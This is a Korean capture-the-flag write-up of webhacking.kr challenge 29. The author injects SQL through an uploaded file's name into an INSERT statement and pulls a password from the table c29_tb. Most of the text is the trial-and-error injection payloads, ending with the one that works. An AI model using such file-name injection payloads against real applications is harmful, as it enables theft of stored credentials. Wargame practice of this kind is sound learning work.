webhacking.kr 29번 문제다.
점수는 400point.
업로드가 가능하고 이를 활용해 힌트로 알려준 select password from c29_tb 구문을 활용해야 할 것
같다.
다음과 같이 time ip file 이름이 뜬다.
패킷으로 잡아봤는데 filename 말고는 따로 넘겨주는게 없다. 그렇다면 이름을 가지고 쿼리를 조작해야 할 것 같다.
흠 대충 예상해보면 insert into table_name values('$time','$ip','$_GET[file_name]')와 같은 형식으로 파일이 저장되고 저장이 성공하면 내 ip값에 해당하는 애들만 출력해주는 것 같다.
※ip값은 .을 필터링해서 아스키코드값으로 저장했다. 그렇다면 file_name으로 asadf'),('asfsadf',char(0x3?,0x3?,0x?5,0x2?,0x?1,0x38,0x30,0x?e,0x?2,0x?1,0x37,0x2e,0x?1,0x3?,0x?7),select password from c29_tb))-- x 을 주면 서브쿼리 값이 디비에 저장될 것 같았다. 근데 querry error가 뜬다.
쿼리문이 뭔가 잘못 된 것 같은데 이런저런 생각을하다가 file_name이 삽입되는 순서가 맨 뒤가 아닐지도 모른다는 생각이 들었다. 그래서 앞의 삽입데이터가 3개가 아닌 2개나 1개가 되서 쿼리에러가 뜬게 아닐까? 그래서 한번 생각을 바꿔 file_name의 위치가 2번째, 1번째일 수 있다 생각하고 쿼리문을 작성해 봤다.
먼저 2번째일 경우 asdfsadf','sadfsadf')-- x 여전히 쿼리 에러..
그렇다면 1번째였을 경우 asdfsadf','sadfsadf','asdfsadf')-- x 입력
오 쿼리 에러가 안뜬다. 그렇다면 file_name의 위치가 맨 앞이었단걸 알아냈다. 하..생각해내기 참 힘들다 ㅡㅠ..
그럼이제 2,3번째 쿼리의 순서만 맞게 넣어주면 제대로 동작할 것 같다.
asfsadf',char(0x3?,0x3?,0x?5,0x2?,0x?1,0x38,0x30,0x?e,0x?2,0x?1,0x37,0x2e,0x?1,0x3?,0x?7),(select password from c29_tb))-- x
와 같이 넣어줘봤다.
별 반응이 없다.. 설마.. ㅜ 제발..
마지막으로
asfsadf',(select password from c29_tb),char(0x3?,0x3?,0x?5,0x2?,0x?1,0x38,0x30,0x?e,0x?2,0x?1,0x37,0x2e,0x?1,0x3?,0x?7))-- x
와 같이 넣어줘봤다.
와...됐다... 이거안됬으면 진짜 열받았을 것 같다. 맞다 싶어서 몇 시간동안 개고생했는데 안되서 풀이보고 풀어버리면 너무 허무할까봐 집어치우고 싶던거 꾸역꾸역 해봤는데 성공해서 다행이다.
|